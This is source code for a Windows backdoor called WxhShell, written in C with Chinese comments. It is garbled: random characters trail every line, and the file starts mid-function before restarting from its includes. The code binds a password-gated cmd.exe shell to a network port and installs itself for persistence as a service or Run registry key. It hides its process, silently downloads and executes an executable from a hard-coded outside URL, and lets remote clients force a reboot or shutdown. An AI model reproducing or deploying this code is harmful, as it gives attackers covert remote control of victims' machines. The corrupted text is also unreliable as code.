  case 'd': { dzrio-QU~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r^ ZEImjc  
    if(Boot(SHUTDOWN)) D=&Me=$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K8Y=S12Ti  
    else { uOdl*|T?  
    closesocket(wsh); c<$OA=n  
    ExitThread(0); EI^C{ $Y  
    } x;<W&s}(  
    break; CYYU 7  
    } Uq`'}Vo  
  // 获取shell 2WYPO"q  
  case 's': { fvxu#m=  
    CmdShell(wsh); :tv,]05t  
    closesocket(wsh); C'}KTXiRW  
    ExitThread(0); W#3Q ^Z?  
    break; v^+Sh|z/  
  } "AGLVp.zT  
  // 退出 W X6&oy>  
  case 'x': { L5:$U>H(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !0mI;~q|F  
    CloseIt(wsh);  U}j0D2  
    break; 'F#KM1s  
    } B~Xw[q  
  // 离开 mUF,@>o  
  case 'q': { p0<\G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <B8!.|19  
    closesocket(wsh); 0b(N^$js'  
    WSACleanup(); K:30_l<  
    exit(1); OX\F~+  
    break; ;q6Ki.D  
        } "C0Q(dr/n  
  } b(O3@Q6[  
  } p,i[W.dy.'  
Czu\RXJR  
  // 提示信息 "o}+Ciul  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @@ %.t|=  
} QWHug:c  
  } ;cN{a&  
>[=^_8M  
  return; 9j:"J` '  
} \&gB)czEO  
(n9g kO&8"  
// shell模块句柄 X1vd'>  
int CmdShell(SOCKET sock) M{hg0/}sUW  
{ G,Azm }+  
STARTUPINFO si; pgZXJ  
ZeroMemory(&si,sizeof(si)); F;0}x;:>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B%+T2=&$7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LW_ f  
PROCESS_INFORMATION ProcessInfo; @A ^;jk  
char cmdline[]="cmd"; L.0mk_&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]G< Vg5  
  return 0; 9.B KI/  
} oc0G |  
A`o8'+`C  
// 自身启动模式 7CTFOAx#  
int StartFromService(void) |3yL&"  
{ oJ|j#+Ft  
typedef struct SPmq4  
{ eb"5- 0  
  DWORD ExitStatus; ZlzjVU/E  
  DWORD PebBaseAddress; JKGe"  
  DWORD AffinityMask; R2]Z kg  
  DWORD BasePriority; ocS5SB]8  
  ULONG UniqueProcessId; KE3;V2Ym f  
  ULONG InheritedFromUniqueProcessId; eHNyNVz  
}   PROCESS_BASIC_INFORMATION; \%N!5>cZ{  
qfRH5)k  
PROCNTQSIP NtQueryInformationProcess; 5 -RsnF  
6h,(wo3Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RMWHN:9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xCl1g4N  
=uYYsC\T  
  HANDLE             hProcess; 2/=l|!JKLz  
  PROCESS_BASIC_INFORMATION pbi; @>>~CZ`l  
bsA-2*Q+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3/W'V,5G6  
  if(NULL == hInst ) return 0; 3c6b6  
oij}'|/Jc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .qZ~_xkd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wLJ:\_Jaf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "J8vjr1/  
MC:@U~}6  
  if (!NtQueryInformationProcess) return 0; rJbf_]^  
=\wxsL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >!bJslWA  
  if(!hProcess) return 0; FOy|F-j  
8=uu8-l8g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x$Oq0d{T  
kH7(@Pa  
  CloseHandle(hProcess); 3e;^/kf<9  
]B3=lc"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vi]W|bP  
if(hProcess==NULL) return 0; kbMWGB%;  
OO*zhGD;[  
HMODULE hMod; -^h' >.  
char procName[255]; fnX`Q[b4\A  
unsigned long cbNeeded; 6'G6<8 >-  
Jx](G>F4f1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yS(fILV  
8sM|%<$=j  
  CloseHandle(hProcess); EL 8<U  
l@+7:n4K0  
if(strstr(procName,"services")) return 1; // 以服务启动 z Q`jP$2  
sjwo/+2  
  return 0; // 注册表启动 F{~{Lthc  
} ,UGRrS  
%r}{hq4  
// 主模块 bITPQ7+  
int StartWxhshell(LPSTR lpCmdLine) WRy aKM  
{ yiC^aY=-  
  SOCKET wsl; +&( Mgbna  
BOOL val=TRUE; ^!ZC?h!rG  
  int port=0; se>8Z4  
  struct sockaddr_in door; !y:v LB#q  
q?DTMKx  
  if(wscfg.ws_autoins) Install(); [~#WG/!:  
v|%Z+w  
port=atoi(lpCmdLine); '~[d=fwH  
kG@@ot" n  
if(port<=0) port=wscfg.ws_port; *|>d  
dDGgvi|[Mz  
  WSADATA data; EwC{R`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xr$J9*Jk-  
eWtZ]kB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -vR5BMy=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '\ey<}?5V  
  door.sin_family = AF_INET; A1D^a,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9m<jcxla$  
  door.sin_port = htons(port); PHXZ=A+  
&cHV7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o9%)D<4M  
closesocket(wsl); bM!_e3ik;  
return 1; w2Jf^pR  
} iAa.}CI,zB  
g Vv>9W('  
  if(listen(wsl,2) == INVALID_SOCKET) { SmdjyK1~8  
closesocket(wsl); 3z)Kz*xr  
return 1; UA8GL D9  
} 3U.88{y  
  Wxhshell(wsl); v7jq@#-   
  WSACleanup(); P&)xz7wG  
1H@>/QC  
return 0; +"cq(Y@  
9N<<{rQ,F  
} 6)-X  
57zSu3v4Y  
// 以NT服务方式启动 [los dnH^?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -o[x2u~n\  
{ y8L D7<1u  
DWORD   status = 0; wrbLDod /  
  DWORD   specificError = 0xfffffff; Z&4&-RCi  
WDc+6/<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EQ`(yj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {G}.b)9FG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0Lc9M-Lg  
  serviceStatus.dwWin32ExitCode     = 0; Lz!,kwg  
  serviceStatus.dwServiceSpecificExitCode = 0; Fzpfoz<N  
  serviceStatus.dwCheckPoint       = 0; !*m5F8Qm?A  
  serviceStatus.dwWaitHint       = 0; +5o8KYV  
'EF9Zt8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RHq/JD-  
  if (hServiceStatusHandle==0) return; Z!@~>i  
0]=i}wL 8  
status = GetLastError(); 8x8 uo  
  if (status!=NO_ERROR) V9( @Y  
{ =aj/,Q]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X*39c b(b  
    serviceStatus.dwCheckPoint       = 0; ng:9 l3 x  
    serviceStatus.dwWaitHint       = 0; ph[#QHB  
    serviceStatus.dwWin32ExitCode     = status; wS+ ^K  
    serviceStatus.dwServiceSpecificExitCode = specificError; [*HN"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4.h=&jz&  
    return; X M#T'S9y8  
  } .ir<s>YM  
Q/I! }C4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]2'na?q9  
  serviceStatus.dwCheckPoint       = 0; HATA-M  
  serviceStatus.dwWaitHint       = 0; gb> }v7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fX.>9H[w@~  
} 4%}*&nsI-Z  
HA`@7I  
// 处理NT服务事件,比如:启动、停止 `V"sOTb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [}8|R0KF  
{ 2?,EzBeal  
switch(fdwControl) "D'B3; uWK  
{ I8/DR z$A  
case SERVICE_CONTROL_STOP: n;U`m$vL%  
  serviceStatus.dwWin32ExitCode = 0; \2}bi:e 6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; te !S09(  
  serviceStatus.dwCheckPoint   = 0; PSVc+s[Q+V  
  serviceStatus.dwWaitHint     = 0; gk+h8 LZ  
  { }!/$M\w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k.^co I5  
  } BV(8y.H  
  return; a,+@|TJ,i  
case SERVICE_CONTROL_PAUSE: r'uGWW"w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZAUQJS 91E  
  break; 92d6U2T4&  
case SERVICE_CONTROL_CONTINUE: 4Hn`'+b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ./D$dbu3  
  break; w@ c87;c  
case SERVICE_CONTROL_INTERROGATE: |- rI@2`  
  break; ,^WJm?R  
}; >O?U= OeD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J?}WQLVP'  
} vab@-=%k  
tBT<EV{ G  
// 标准应用程序主函数 AfP 'EP0m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9D}/\jM  
{ ,FMx5$  
ivz>dJ?T  
// 获取操作系统版本 :ORR_f`>  
OsIsNt=GetOsVer(); -gas?^`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .E&z$N  
YJ/zU52JK~  
  // 从命令行安装 oY|,GvCnK  
  if(strpbrk(lpCmdLine,"iI")) Install(); f7~9|w&  
s^|.Zr;,>  
  // 下载执行文件 ^Q ps> A(  
if(wscfg.ws_downexe) { nF4a-H&Fo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |),'9  
  WinExec(wscfg.ws_filenam,SW_HIDE); +sx 8t  
} J}@z_^|"mJ  
VY"9?2?/  
if(!OsIsNt) { Ra/Ukv_v  
// 如果时win9x,隐藏进程并且设置为注册表启动 RJH,  
HideProc(); D?,#aB"  
StartWxhshell(lpCmdLine); M$d%p6Cv  
} G4;3cT3'  
else aKlUX  
  if(StartFromService()) ;?~$h-9)  
  // 以服务方式启动 |*Yf.-  
  StartServiceCtrlDispatcher(DispatchTable); LIVU^Os.  
else -0eq_+oQ  
  // 普通方式启动 uy^   
  StartWxhshell(lpCmdLine); V&|Ed  
?EpSC&S\  
return 0; E)-r+ <l  
} }KKY6D|d>  
0lsXCr_X  
;k86"W  
za9)Q=6FD  
=========================================== )VK }m9Ae  
Za7q$7F7Bc  
st &  
2Nm>5l  
kctzNGF|  
^(f4*m6`  
" L0]_hxE?  
@a>2c$%  
#include <stdio.h> s/e"'Hz  
#include <string.h> 6PF8 /@Nh  
#include <windows.h> Z,;cCxE  
#include <winsock2.h> ror|R@;y  
#include <winsvc.h> %Lrd6i_j  
#include <urlmon.h> f0SAP0M3  
^*= 85iyo  
#pragma comment (lib, "Ws2_32.lib") N+)?$[  
#pragma comment (lib, "urlmon.lib") 0hn-FH-XE  
Q2];RS3.  
#define MAX_USER   100 // 最大客户端连接数 q )lnS )  
#define BUF_SOCK   200 // sock buffer FvuGup`w  
#define KEY_BUFF   255 // 输入 buffer bo=ZM9  
!.<T"8BUpv  
#define REBOOT     0   // 重启 H,<7G;FPT  
#define SHUTDOWN   1   // 关机 g3sUl&K  
%F9{EXJy  
#define DEF_PORT   5000 // 监听端口 o}'bv  
\cJ-Dd  
#define REG_LEN     16   // 注册表键长度 $]&(7@'qo  
#define SVC_LEN     80   // NT服务名长度 NLe}Jqp  
%=<IGce  
// 从dll定义API (9mMkU=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c<BO gNr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CG&`16KN7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Koln9'tB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tPyyZ#,  
 /n^c>)  
// wxhshell配置信息 s;YKeE!8  
struct WSCFG { eL.7#SIr}  
  int ws_port;         // 监听端口 Ekm7 )d$  
  char ws_passstr[REG_LEN]; // 口令 6V+ qnUk  
  int ws_autoins;       // 安装标记, 1=yes 0=no &>jAe_{",  
  char ws_regname[REG_LEN]; // 注册表键名 QIn/,Yd  
  char ws_svcname[REG_LEN]; // 服务名 "4j:[9vR\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rba;&D;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v !Kw< fp|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rspayO<]3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >(tn"2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qG9+/u)\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F{\gc|!i  
0ZPV' `KGp  
}; 9kY[j2,+  
|"$uRV=qm  
// default Wxhshell configuration 0-3rQ~u  
struct WSCFG wscfg={DEF_PORT, )W&>[B  
    "xuhuanlingzhe", Qc{RaMwD  
    1, + f;CyMEp  
    "Wxhshell", kao}(?x%  
    "Wxhshell", w[Ep*-yeI  
            "WxhShell Service", npu6E;'l*  
    "Wrsky Windows CmdShell Service", V5GkP1L  
    "Please Input Your Password: ", z&$/EP-  
  1, &yz&LNn'  
  "http://www.wrsky.com/wxhshell.exe", h? yG<>wI  
  "Wxhshell.exe" 2 vKx]w  
    }; >1irSUj"~  
A~{f/%8D  
// 消息定义模块 AzpV4(:an.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qJT0Y/l:(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YY4-bNj[p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b}zBn8l  
char *msg_ws_ext="\n\rExit."; w.+Eyu_I\  
char *msg_ws_end="\n\rQuit."; 7yiJ1K<bIt  
char *msg_ws_boot="\n\rReboot..."; m^\TUj  
char *msg_ws_poff="\n\rShutdown..."; 4`2$_T$ F  
char *msg_ws_down="\n\rSave to "; +MO E  
M\+*P,i  
char *msg_ws_err="\n\rErr!"; 8xI`jE"1  
char *msg_ws_ok="\n\rOK!"; W)SjQp6  
mf|pNiQ,  
char ExeFile[MAX_PATH]; -05U%l1e  
int nUser = 0; TL)O-  
HANDLE handles[MAX_USER]; ?Zyok]s  
int OsIsNt; gw3NS8 A+  
qG >DTKIU  
SERVICE_STATUS       serviceStatus; I8op>^N"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bn 4 &O  
8]0:1 {@  
// 函数声明 qGPb  
int Install(void); %bX0 mN  
int Uninstall(void); "t&{yBQ0u  
int DownloadFile(char *sURL, SOCKET wsh); /k7wwZiY@  
int Boot(int flag); 5y_"  
void HideProc(void); 2N6=8Xy 5K  
int GetOsVer(void); /'>;JF  
int Wxhshell(SOCKET wsl); !Zwf 397  
void TalkWithClient(void *cs); G\Q9IcJ0dY  
int CmdShell(SOCKET sock); ^^$vR[7  
int StartFromService(void); #Y,A[Y5jX  
int StartWxhshell(LPSTR lpCmdLine); .Tm- g#  
nY) .|\|i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); de-0?6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8tWE=8<  
~%q7Vmk9  
// 数据结构和表定义 |r~ uos  
SERVICE_TABLE_ENTRY DispatchTable[] = Q59/ex  
{ BxX$5u  
{wscfg.ws_svcname, NTServiceMain}, hZNEv|  
{NULL, NULL} )hL^+Nn bR  
}; VvgN3e[  
 ~B@ }R  
// 自我安装 hrM"Zg  
int Install(void) +X!+'>  
{ ':;LrTc'K  
  char svExeFile[MAX_PATH]; J7a-CI_Tf  
  HKEY key; .{N\<01  
  strcpy(svExeFile,ExeFile); rqvU8T7A  
|qL;Nu,d  
// 如果是win9x系统,修改注册表设为自启动 8 G?b.NE^  
if(!OsIsNt) { Rx. rj~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tvWH04T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hrlCKL&  
  RegCloseKey(key); q lY\*{x4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nJ# XVlHc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tq E>Zx=X  
  RegCloseKey(key); )b9I@)C  
  return 0; RUrymkHFB  
    } 5~yb ~0  
  } >#i $Tw  
} $WD +Q@6  
else { ?hSha)1:  
2vXGO|W  
// 如果是NT以上系统,安装为系统服务 uk{J@&F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G+Ei#:W,  
if (schSCManager!=0) rH^/8|}&s  
{ o(SuUGW  
  SC_HANDLE schService = CreateService 6Wu*.53  
  ( InX{V|CW?  
  schSCManager, o;'4c  
  wscfg.ws_svcname, fsb=8>}63}  
  wscfg.ws_svcdisp, Pu/lpHm|  
  SERVICE_ALL_ACCESS, =[8d@d\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QW:Z[?39^  
  SERVICE_AUTO_START, 0JOju$Bl,  
  SERVICE_ERROR_NORMAL, _9qEZV  
  svExeFile, i-Ljff  
  NULL, *%f3rvt7@)  
  NULL, Bzm. X=U:  
  NULL, 1#kawU6[]  
  NULL, ;op'V6iG  
  NULL JbVi1?c  
  ); Uc>LFX& -B  
  if (schService!=0) "$%{}{#W0  
  { z+2u-jG  
  CloseServiceHandle(schService); ?-M)54b\  
  CloseServiceHandle(schSCManager); t)`+d=P   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Bzwx0c2VY8  
  strcat(svExeFile,wscfg.ws_svcname); _/8y1) I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3# :EK M~!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c8!j6\dC*  
  RegCloseKey(key); )uu wwz  
  return 0; -{r!M(47  
    } pIrv$^  
  } } pSt@3o,  
  CloseServiceHandle(schSCManager); )<tzm'Rc  
} 1pl2;!  
} MgSp.<!  
gx&\Kw6HM  
return 1; FW5*_%J  
} G-ZrM  
Ed8U;U b  
// 自我卸载 FK?mS>G6  
int Uninstall(void) +KYxw^k}"7  
{ Ig='a"%  
  HKEY key; B1up^(?  
yg.\^C  
if(!OsIsNt) { 6Eij>{v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z1)$  
  RegDeleteValue(key,wscfg.ws_regname); W'm!f  
  RegCloseKey(key); S]Sp Z8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cw@k.{*7,  
  RegDeleteValue(key,wscfg.ws_regname); 19pND m2H1  
  RegCloseKey(key); GC,vQ\  
  return 0; c g3Cl[s  
  } A)~ /~  
} X=-gAutfE=  
} ?nj"Ptzs  
else { d8VWi*  
\fkS_r,i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w+URCj  
if (schSCManager!=0) ;Hz`0V  
{ vCYSm  0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #r78Ym'aI  
  if (schService!=0) tRpL0 =y  
  { &/z+A{Hi  
  if(DeleteService(schService)!=0) { Ac*B[ywA3  
  CloseServiceHandle(schService); nph7&[xQI  
  CloseServiceHandle(schSCManager); 5#N"WHz!  
  return 0;  <Hq6]\<  
  } tU-#pB>H  
  CloseServiceHandle(schService); Rh05W_?Js  
  } Cw9@2E'b  
  CloseServiceHandle(schSCManager); 1( QWt  
} 3N)Ycf8  
} ]x5(bnW x  
zz+M1n-;o  
return 1; o|Yn(xu-  
} oX=*MEfX  
;%3thm7+  
// 从指定url下载文件 )U"D4j*p  
int DownloadFile(char *sURL, SOCKET wsh) dvrvpDoE.  
{ >F LdI  
  HRESULT hr; F|h ,a;2  
char seps[]= "/"; [TpA26#TTO  
char *token; Dn{19V. L  
char *file; -E,{r[Sp  
char myURL[MAX_PATH]; 8as$h*W h  
char myFILE[MAX_PATH]; `gBXeG2fn  
f0HV*%8  
strcpy(myURL,sURL); y~#R:&d"  
  token=strtok(myURL,seps); inq4CGY  
  while(token!=NULL) 4P-'(4I)  
  { m,"cbJ /  
    file=token; nf+"vr}1  
  token=strtok(NULL,seps); +Y>cBSO  
  } NXV~[  
yC&b-y  
GetCurrentDirectory(MAX_PATH,myFILE); ~8n~4  
strcat(myFILE, "\\"); eaZ)1od  
strcat(myFILE, file); ] _]6&PZXk  
  send(wsh,myFILE,strlen(myFILE),0); -h^} jP8  
send(wsh,"...",3,0); =4w^)'/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CoKj'jA  
  if(hr==S_OK) WMdz+^\(  
return 0; <or>bo^  
else {XVf|zM,  
return 1; ;)bF#@Q  
GmEJ,%A  
} k:HSB</}  
eiNk]KXAYX  
// 系统电源模块  4.Jaw+  
int Boot(int flag) HnKF#<  
{ c?3F9 w#  
  HANDLE hToken; ck4T#g;=  
  TOKEN_PRIVILEGES tkp; 9DP75 ti  
wYS KtG~/S  
  if(OsIsNt) { "YdDaj</  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dBD4ogo1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ws}kb@5  
    tkp.PrivilegeCount = 1; 8d*<Aki?;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NXG}0`QVT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OrKT~JQVC&  
if(flag==REBOOT) { 6jy n,GU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N6m*xxI{  
  return 0; ( _F  
} lDX&v$  
else { %q\P'cK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $/U^/2)  
  return 0; Vl QwVe  
} M0"g/W  
  } tV}ajs  
  else { (qc!-Isd~[  
if(flag==REBOOT) { DoPF/m}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I5<#SW\a?  
  return 0; piM11W}|/  
} p6k'Q  
else { ; 0_J7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~ dI&> CL  
  return 0; A1s=;qr  
} ; hRpAN  
} owS@dbO  
C,e$g  
return 1; 576-X _a,  
} AB|VO4-?  
PTc\I  
// win9x进程隐藏模块 G<WDyoN=O  
void HideProc(void) @W5hrei  
{ a^)4q\E  
:tS>D5dz(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zZjLt1  
  if ( hKernel != NULL ) u g$\&rM>  
  { Z=5}17kA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *t-A6)2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +>9^])K|  
    FreeLibrary(hKernel); OD!CnK  
  } ug3lMN4UX  
yp/V 8C  
return; JU,RO oz(  
} Hn]n]wsLy  
sN` o_q{Q  
// 获取操作系统版本 s!RA_%8/>  
int GetOsVer(void) ]TZWFL-  
{ u:u 7|\q  
  OSVERSIONINFO winfo; GbrPtu2{@V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~9'4w-Sy  
  GetVersionEx(&winfo); {{)[Ap)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) */dsMa  
  return 1; `]I5WTt*X  
  else N(/<qv  
  return 0; 5 Yibv6:3a  
} KJ{F,fr+v  
4JQ`&:?r  
// 客户端句柄模块 0-; P&m!!  
int Wxhshell(SOCKET wsl) ~ z&A  
{ E#F9<=mA)  
  SOCKET wsh; H5MAN,`  
  struct sockaddr_in client; 58ZiCvqv  
  DWORD myID; .p*D[o2 9  
I)/7M}t`  
  while(nUser<MAX_USER) $m0x8<7nu  
{ 6XCX#4'i%  
  int nSize=sizeof(client); 7D_kkhN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &"6ktKrIg  
  if(wsh==INVALID_SOCKET) return 1; )KhVUFS1  
K1{nxw!`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &)}:Y!qiu  
if(handles[nUser]==0) >xMhA`l  
  closesocket(wsh); t }C ^E  
else >(4S `}K  
  nUser++; r@ *A   
  } 92ww[+RQ@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1?$!y  
F,2#;t4  
  return 0; 4O"kOEkKT>  
} >{) #|pWU  
_N#3lU?  
// 关闭 socket !*. nR(>d  
void CloseIt(SOCKET wsh) #$rT 4N c;  
{ $P9$ ,w4  
closesocket(wsh); `V2j[Fz  
nUser--; gbv[*R{<%  
ExitThread(0); 5va&N<U  
} gJ~*rWBK:  
U$J_:~  
// 客户端请求句柄 { RX|  
void TalkWithClient(void *cs) jY6=+9Jz5  
{ rd~W.b_b  
g;Q^_4@  
  SOCKET wsh=(SOCKET)cs; ]p.f*]  
  char pwd[SVC_LEN]; NGZ>:  
  char cmd[KEY_BUFF]; "/h"Xg>q  
char chr[1]; NJ!#0[@C  
int i,j; Dk6\p~q  
/1 %0A  
  while (nUser < MAX_USER) { c)YGwkY,,  
#;\;F PuZ  
if(wscfg.ws_passstr) { `%I{l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ##ea-"m8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #/=yz<B  
  //ZeroMemory(pwd,KEY_BUFF); 6]49kHgMhe  
      i=0; eL4@% ]o  
  while(i<SVC_LEN) { "T[jQr  
69[k ?')LM  
  // 设置超时 zszx@`/3  
  fd_set FdRead; \-id[zKb  
  struct timeval TimeOut; T0)y5  
  FD_ZERO(&FdRead); ? NK} q\$  
  FD_SET(wsh,&FdRead); /s_$CSiB  
  TimeOut.tv_sec=8; Ybg`Z  
  TimeOut.tv_usec=0; = +\oL!^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KTJ $#1q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q*{ 2  
,IB)Kk2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rmoEc]kt]  
  pwd=chr[0]; ^Exq=oV  
  if(chr[0]==0xd || chr[0]==0xa) { e(N <Mf  
  pwd=0; u`nn{C4D"  
  break; Zul32]1r  
  } Vs(Zs[  
  i++; na; ^/_U@  
    } :m)?+  
/Loe y   
  // 如果是非法用户,关闭 socket NistW+{<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N Uml"  
} BJr Nbo;T  
+'4dP#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d0,F'?.0|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )q-!5^ak  
CU&,Kq@  
while(1) { 9xp ;$14  
|?W   
  ZeroMemory(cmd,KEY_BUFF); 8{ e 3  
;S j* {  
      // 自动支持客户端 telnet标准   ^/,yZ:  
  j=0; mmK_xu~f28  
  while(j<KEY_BUFF) { U<gw<[>f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ro$XbU)  
  cmd[j]=chr[0]; ~`f B\7M  
  if(chr[0]==0xa || chr[0]==0xd) { h:90K  
  cmd[j]=0; T ua @w+  
  break; DZZt%n8J  
  } [! BH3J!  
  j++; IGQ8-#=  
    } 0~+ k  
((q(Q9(F  
  // 下载文件 je% 12DM  
  if(strstr(cmd,"http://")) { =? aB@&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); __npX_4%S  
  if(DownloadFile(cmd,wsh)) #O ]IXo(5z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aoX$,~oI5  
  else I{bi3y0  
